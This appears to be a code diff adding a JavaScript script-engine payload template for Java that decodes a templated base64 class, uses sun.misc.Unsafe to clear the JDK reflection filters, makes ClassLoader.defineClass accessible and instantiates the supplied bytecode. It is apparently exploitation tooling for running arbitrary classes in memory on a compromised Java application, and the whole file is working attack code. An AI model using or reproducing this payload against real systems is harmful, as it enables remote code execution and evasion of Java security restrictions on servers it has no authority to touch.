|
| 1 | +var base64Str = "{{base64Str}}"; |
| 2 | +var className = "{{className}}"; |
| 3 | +var clsString = java.lang.Class.forName("java.lang.String"); |
| 4 | +var bytecode; |
| 5 | +try { |
| 6 | + var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); |
| 7 | + bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str); |
| 8 | +} catch (ee) { |
| 9 | + var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance(); |
| 10 | + bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str); |
| 11 | +} |
| 12 | +var clsByteArray = (new java.lang.String("a").getBytes().getClass()); |
| 13 | +var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); |
| 14 | +theUnsafeMethod.setAccessible(true); |
| 15 | +unsafe = theUnsafeMethod.get(null); |
| 16 | +var reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection"); |
| 17 | +var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes(); |
| 18 | +var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null); |
| 19 | +var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap"); |
| 20 | +if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) { |
| 21 | + unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").newInstance()); |
| 22 | +} |
| 23 | +var clz = java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(); |
| 24 | +var ClassAnonymousClass = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), clz, null); |
| 25 | +var reflectionDataField = ClassAnonymousClass.getDeclaredField("reflectionData"); |
| 26 | +unsafe.putObject(java.lang.Class.forName("java.lang.Class"), unsafe.objectFieldOffset(reflectionDataField), null); |
| 27 | +var clsInt = java.lang.Integer.TYPE; |
| 28 | +var defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt); |
| 29 | +var modifiers = defineClassMethod.getClass().getDeclaredField("modifiers"); |
| 30 | +unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), 0x00000001); |
| 31 | +var cc = defineClassMethod.invoke(new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0), java.lang.Thread.currentThread().getContextClassLoader()), bytecode, 0, bytecode.length); |
| 32 | +cc.newInstance(); |
| 33 | + |
0 commit comments